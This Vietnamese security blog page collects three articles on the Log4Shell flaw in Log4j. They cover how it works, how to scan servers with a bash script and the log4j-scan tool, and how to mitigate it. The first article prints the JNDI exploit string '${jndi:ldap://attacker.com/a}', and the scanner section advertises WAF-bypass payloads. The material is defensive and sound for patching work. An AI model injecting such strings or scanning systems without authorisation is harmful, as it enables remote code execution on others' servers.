Log4j – AnonyViet

Cách kiểm tra Server có bị tấn công bởi Log4j (Log4Shell) hay không

Ellyx13 — Mon, 20 Dec 2021 23:44:03 +0000

Một lỗi khai thác nghiêm trọng trong thư viện Java đã được tìm thấy cách đây không lâu, làm gián đoạn phần lớn mạng Internet khiến các quản trị viên máy chủ cố gắng sửa chữa nó. Thư viện rất dễ bị tấn công là log4j, được sử dụng ở mọi nơi, vậy nên bạn sẽ cần kiểm tra các máy chủ của mình và đảm bảo chúng được cập nhật.

Lỗ hổng Log4J hoạt động như thế nào?

Theo những gì đã xảy ra, lỗ hổng log4j cho đến nay là một trong những lỗ hổng tồi tệ nhất trong vài năm qua, đạt điểm 10/10 hiếm hoi trên thang điểm CVSS và sẽ ám ảnh toàn bộ internet trong nhiều năm tới.

Điều tồi tệ hơn là log4j không phải là một ứng dụng — nó là một thư viện mã nguồn mở được nhiều ứng dụng khác sử dụng. Bạn có thể không cài đặt nó trực tiếp; nó có thể được bao gồm trong các tệp .jar khác hoặc được cài đặt bởi các ứng dụng khác như một dependency.

Về cơ bản, nó cho phép những kẻ tấn công gửi văn bản đến ứng dụng của bạn và nếu nó ghi lại văn bản này ở đâu đó, máy chủ của bạn sẽ thực thi mã độc. Định dạng của văn bản trông giống như ví dụ sau: một chuỗi cực kỳ đơn giản chứa một liên kết đến một địa chỉ từ xa.

${jndi:ldap://attacker.com/a}

Thành phần dễ bị tấn công trong log4j là Java Naming và Directory Interface, cho phép framework ghi nhật ký thực hiện các yêu cầu từ xa. Ngoại trừ nó cũng giải mã tệp tại điểm cuối và có thể tải các tệp .class có chứa mã độc điều khiển từ xa.

Server có dễ bị tấn công bằng lỗi Log4J không?

Lỗ hổng này nhanh chóng được vá trong bản phát hành mới nhất của log4j, 2.16.0, nhưng vấn đề vẫn chưa được khắc phục. Vì log4j là một dependency, nên việc tìm kiếm phiên bản cụ thể của nó trên hệ thống của bạn có thể không đơn giản. Và, vì Java rất phổ biến, nhiều công cụ và thành phần của bên thứ ba có thể sử dụng nó, vì vậy bạn thậm chí có thể không biết liệu mình có đang chạy phần mềm Java bị dính lỗ hổng trên máy của mình hay không.

Ngay cả khi bạn nghĩ rằng bạn không dễ bị tấn công, thì bạn vẫn cần phải kiểm tra lại. Lỗ hổng này ảnh hưởng đến nhiều hệ thống đến nỗi có khả năng bạn đang chạy log4j hoặc Java mà không nhận ra.

May mắn thay, các phiên bản JDK lớn hơn 6u211, 7u201, 8u191 và 11.0.1 không bị ảnh hưởng bởi vectơ tấn công chính (sử dụng LDAP) đang được khai thác nhiều nhất hiện tại. Bạn vẫn cần phải vá nó, vì nó cũng có thể dễ dàng được sử dụng với các vectơ tấn công khác. Ngoài ra, chỉ cần một hành động đơn giản là đưa ra yêu cầu tới một điểm cuối cũng có thể làm lộ dữ liệu về các máy trên mạng của bạn, điều này cũng không phải là một điều tốt.

Lỗ hổng này cũng cho bạn biết lý do quan trọng tại sao phải giữ Software Bill of Materials (SBOM), về cơ bản đó là danh sách tất cả phần mềm trên hệ thống của bạn, nguồn gốc xuất xứ và phần mềm được tạo ra từ đâu. Trong tương lai, những thông tin này có thể giúp bạn nhanh chóng vá các cuộc tấn công như thế này.

Hiện tại, bạn chỉ cần quan tâm đến việc quét hệ thống của mình để tìm các phiên bản log4j được phần mềm sử dụng và lập danh sách tất cả các thành phần dễ bị tấn công.

Cách kiểm tra Server có bị tấn công bởi Log4j (Log4Shell) hay không

Nhiều người đã tạo các tập lệnh để tự động quét hệ thống và tìm ra các bản cài đặt dễ bị tấn công, chẳng hạn như tập lệnh phổ biến này được viết bằng Python và tập lệnh này của công ty bảo mật LunaSec. Một trong những cách dễ sử dụng nhất là tập lệnh bash đơn giản này, nó có thể quét các gói của bạn và xác định các phiên bản log4j và cũng có thể cho bạn biết liệu hệ thống của bạn có đang sử dụng Java hay không. Trong hầu hết các trường hợp, bạn sẽ cần chạy nhiều lần quét với các tập lệnh khác nhau, vì không có gì đảm bảo rằng các tập lệnh này sẽ hiệu quả 100% trong việc xác định mọi hệ thống dễ bị tấn công.

Bạn có thể tải xuống và chạy nó bằng một vài lệnh. Bạn cũng cần chạy lệnh dưới quyền root để quét toàn bộ hệ thống của bạn.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

Kết quả từ tập lệnh này sẽ cho bạn biết tại sao lỗ hổng log4j này lại trở nên khủng khiếp — việc chạy tập lệnh này trên máy chủ cho thấy rằng nó rất dễ bị khai thác, mặc dù mình nghĩ rằng mình vẫn chưa cài đặt Java trên máy này vì mình không chạy bất kỳ phần mềm Java nào.

Elasticsearch đang chạy ở chế độ nền trên máy này, được viết bằng Java. Bạn không phải cài đặt Java theo cách thủ công để có Elasticsearch; nó bao gồm một phiên bản OpenJDK đi kèm. Và nó bị dính log4j nên rất dễ bị khai thác.

Để vá Elasticsearch, bạn cần cập nhật tất cả các gói và làm theo hướng dẫn giảm thiểu. Điều này có thể xảy ra đối với bất kỳ phần mềm nào bạn đang chạy; bạn sẽ cần cập nhật trực tiếp log4j, cập nhật phần mềm đi kèm với nó hoặc sửa lỗi bằng bất kỳ phương pháp giảm thiểu nào mà người khác đang sử dụng.

Nếu bạn không thể vá jar vì lý do nào đó, bạn có thể sử dụng cờ JVM này để giảm thiểu sự cố, điều này chỉ đơn giản là yêu cầu log4j không bao giờ thực hiện bất kỳ tra cứu nào khi định dạng thư. Tuy nhiên, cách này không được khuyến nghị và bạn nên cố gắng cài đặt log4j 2.16.0 ở bất cứ nơi nào có thể để khắc phục hoàn toàn sự cố.

-Dlog4j2.formatMsgNoLookups=true

Câu hỏi thường gặp

Log4j (Log4Shell) là gì và tại sao nó lại nguy hiểm?

Log4j là một thư viện Java mã nguồn mở được sử dụng rộng rãi. Lỗ hổng Log4Shell cho phép tin tặc gửi mã độc hại thông qua nhật ký, cho phép họ điều khiển máy chủ của bạn. Đây là một lỗ hổng cực kỳ nguy hiểm vì nó ảnh hưởng đến nhiều ứng dụng.

Làm thế nào để tôi biết máy chủ của mình có bị ảnh hưởng bởi Log4Shell hay không?

Bạn cần quét hệ thống của mình để tìm các phiên bản log4j dễ bị tấn công. Có nhiều công cụ quét tự động có sẵn, bao gồm các tập lệnh Python và Bash. Kết quả quét sẽ cho biết liệu bạn có đang sử dụng phiên bản log4j dễ bị tấn công hay không.

Nếu máy chủ của tôi bị ảnh hưởng, tôi nên làm gì?

Cập nhật log4j lên phiên bản 2.16.0 hoặc mới hơn là giải pháp tốt nhất. Nếu không thể cập nhật trực tiếp, bạn có thể sử dụng cờ JVM -Dlog4j2.formatMsgNoLookups=true để giảm thiểu rủi ro. Tuy nhiên, đây chỉ là giải pháp tạm thời và nên cập nhật lên phiên bản mới nhất càng sớm càng tốt.

Log4j-scan: Tool scan tìm các trang web dính lỗi log4j

Ellyx13 — Sat, 18 Dec 2021 01:34:59 +0000

Trong bài này, mình sẽ hướng dẫn các bạn sử dụng công cụ Log4j-scan, tool scan hoàn toàn tự động và chính xác nhất để tìm các máy chủ dễ bị tấn công log4j.

Tính năng

Hỗ trợ danh sách các URL.
Fuzzing cho hơn 60 request headers HTTP (không chỉ 3-4 headers như các công cụ đã thấy trước đây).
Fuzzing cho HTTP parameters POST Data.
Fuzzing cho các parameters JSON.
Hỗ trợ callback DNS để phát hiện và xác thực lỗ hổng bảo mật.
WAF bypass payloads.

Miêu tả

Tác giả đã nghiên cứu Log4J RCE (CVE-2021-44228) kể từ khi nó được phát hiện và đã làm việc để ngăn chặn lỗ hổng bảo mật này. Team đã phát triển một công cụ quét mã nguồn mở để phát hiện và và giúp các nhà phát triển vá lỗ hổng Log4J RCE CVE-2021-44228. Công cụ này sẽ được sử dụng bởi các nhóm bảo mật nhằm quét cơ sở hạ tầng của họ để tìm Log4J RCE và cũng kiểm tra các lượt bypass WAF có thể dẫn đến việc thực thi mã trên môi trường dự án.
Nó hỗ trợ callback DNS OOB ngay lập tức, không cần thiết lập máy chủ callback DNS.

Cách sử dụng

$ python3 log4j-scan.py -h
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                     [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Check a single URL.
  -p PROXY, --proxy PROXY
                        Send requests through proxy. proxy should be specified in the format supported by requests
                        (http[s]://:)
  -l USEDLIST, --list USEDLIST
                        Check a list of URLs.
  --request-type REQUEST_TYPE
                        Request Type: (get, post) - [Default: get].
  --headers-file HEADERS_FILE
                        Headers fuzzing list - [default: headers.txt].
  --run-all-tests       Run all available tests on each URL.
  --exclude-user-agent-fuzzing
                        Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.
  --wait-time WAIT_TIME
                        Wait time after all URLs are processed (in seconds) - [Default: 5].
  --waf-bypass          Extend scans with WAF bypass payloads.
  --test-CVE-2021-45046
                        Test using payloads for CVE-2021-45046 (detection payloads).
  --dns-callback-provider DNS_CALLBACK_PROVIDER
                        DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].
  --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST
                        Custom DNS Callback Host.
  --disable-http-redirects
                        Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.

Scan Website

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local

Quét một URL duy nhất bằng tất cả các phương thức Request: GET, POST (form được mã hóa url), POST (body JSON)

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-tests

Tìm bypass WAF.

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypass

Quét danh sách các URL

$ python3 log4j-scan.py -l urls.txt

Cách cài đặt

$ pip3 install -r requirements.txt

Hỗ trợ Docker

git clone https://github.com/fullhunt/log4j-scan.git
cd log4j-scan
sudo docker build -t log4j-scan .
sudo docker run -it --rm log4j-scan

# With URL list "urls.txt" in current directory
docker run -it --rm -v $PWD:/data log4j-scan -l /data/urls.txt

Tuyên bố từ chối trách nhiệm

Dự án này chỉ được thực hiện cho mục đích giáo dục và pentest. Việc sử dụng log4j-scan để tấn công các mục tiêu mà không có sự đồng ý trước của hai bên là bất hợp pháp. Bạn phải có trách nhiệm tuân theo tất cả các luật hiện hành của quốc gia đang sống. Các nhà phát triển và Anonyviet sẽ không chịu bất kỳ trách nhiệm pháp lý hoặc thiệt hại nào do bài viết hoặc tool gây ra.

Câu hỏi thường gặp

Log4j-scan có hỗ trợ quét nhiều URL cùng lúc không?

Có, công cụ hỗ trợ quét danh sách URL từ một file văn bản bằng tham số -l hoặc --list.

Tôi có thể sử dụng Log4j-scan để quét cả các request GET và POST không?

Có, bạn có thể sử dụng tham số --run-all-tests để chạy tất cả các bài kiểm tra trên mỗi URL, bao gồm cả request GET và POST (cả form mã hóa URL và body JSON).

Làm thế nào để sử dụng Log4j-scan để tìm cách bypass WAF?

Sử dụng tham số --waf-bypass để mở rộng quá trình quét với các payload nhằm vượt qua tường lửa ứng dụng web (WAF).

Cách sửa lỗi bảo mật Log4j nếu bạn không thể Update lên 2.15.0

Ellyx13 — Mon, 13 Dec 2021 23:59:09 +0000

Các nhà nghiên cứu đã phát hiện ra một lỗ hổng nghiêm trọng trong thư viện Apache Log4j, có điểm 10/10 trong CVSS. Dưới đây là bài phân tích và hướng dẫn bạn bảo vệ máy chủ.

Nhiều hãng tin tức bảo mật đã đưa tin về việc phát hiện ra lỗ hổng nghiêm trọng CVE-2021-44228 trong thư viện Apache Log4j (mức độ nghiêm trọng CVSS 10/10). Hàng triệu ứng dụng Java sử dụng thư viện này để ghi lại các thông báo lỗi. Để làm cho vấn đề tồi tệ hơn, những kẻ tấn công đã tích cực khai thác lỗ hổng này. Vì lý do này, Apache Foundation khuyến nghị tất cả các nhà phát triển cập nhật thư viện lên phiên bản 2.15.0 và nếu không được, hãy sử dụng một trong các phương pháp tại đây.

Tại sao CVE-2021-44228 lại nguy hiểm đến vậy

CVE-2021-44228, còn được đặt tên là Log4Shell hoặc LogJam, là một lỗ hổng trong lớp Remote Code Execution (RCE). Nếu những kẻ tấn công khai thác nó trên các máy chủ, chúng sẽ có thể thực thi code tùy ý và có khả năng kiểm soát toàn bộ hệ thống.

Điều khiến CVE-2021-44228 trở nên đặc biệt nguy hiểm là tính dễ bị khai thác: ngay cả một hacker thiếu kinh nghiệm cũng có thể thực hiện thành công một cuộc tấn công bằng cách sử dụng lỗ hổng này. Theo các nhà nghiên cứu, những kẻ tấn công chỉ cần buộc ứng dụng chỉ ghi một chuỗi vào nhật ký và sau đó chúng có thể tải code của chính mình lên ứng dụng nhờ chức năng thay thế tra cứu tin nhắn.

Cách bài viết hướng dẫn tấn công Proofs of Concept (PoC) thông qua CVE-2021-44228 đều đã có sẵn trên Internet. Do đó, không có gì ngạc nhiên khi các công ty an ninh mạng đã thực hiện các đợt quét mạng khổng lồ để tìm các ứng dụng dễ bị tấn công cũng như các cuộc tấn công vào honeypots.

Lỗ hổng này được phát hiện bởi Chen Zhaojun thuộc Đội bảo mật đám mây của Alibaba.

Apache Log4J là gì và tại sao thư viện này lại phổ biến như vậy?

Apache Log4j là một phần của Dự án Apache Logging. Nhìn chung, việc sử dụng thư viện này là một trong những cách dễ nhất để ghi lại lỗi và đó là lý do tại sao hầu hết các nhà phát triển Java sử dụng nó.

Nhiều công ty phần mềm lớn và dịch vụ trực tuyến sử dụng thư viện Log4j, bao gồm Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter,… Do thư viện này quá phổ biến, nên một số nhà nghiên cứu bảo mật thông tin dự kiến sẽ các cuộc tấn công vào các máy chủ dễ bị tấn công sẽ gia tăng đáng kể trong những ngày tới.

#Log4Shell pic.twitter.com/1bKDwRQBqt

— Florian Roth (@cyb3rops) December 10, 2021

Phiên bản nào của thư viện Log4j dễ bị tấn công và cách để bạn bảo vệ Server?

Hầu như tất cả các phiên bản của Log4j đều dễ bị tấn công, bắt đầu từ 2.0-beta9 đến 2.14.1. Phương pháp bảo vệ đơn giản và hiệu quả nhất là cài đặt phiên bản mới nhất của thư viện, 2.15.0. Bạn có thể tải xuống trên trang dự án.

Nếu vì lý do nào đó mà việc cập nhật thư viện không thể thực hiện được, Apache Foundation khuyên bạn nên sử dụng một trong các phương pháp giảm thiểu sau. Trong trường hợp các phiên bản Log4J từ 2.10 đến 2.14.1, họ khuyên bạn nên đặt thuộc tính hệ thống log4j2.formatMsgNoLookups hoặc đặt biến môi trường LOG4J_FORMAT_MSG_NO_LOOKUPS thành true.

Để bảo vệ các bản phát hành trước đó của Log4j (từ 2.0-beta9 đến 2.10.0), các nhà phát triển thư viện khuyên bạn nên xóa class JndiLookup khỏi classpath: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup .class.

Ngoài ra, bạn cũng nên xem những phương pháp bảo mật này để bảo vệ bản thân tốt hơn.

Danh sách các hãng bị ảnh hưởng bởi lỗ hổng Log4j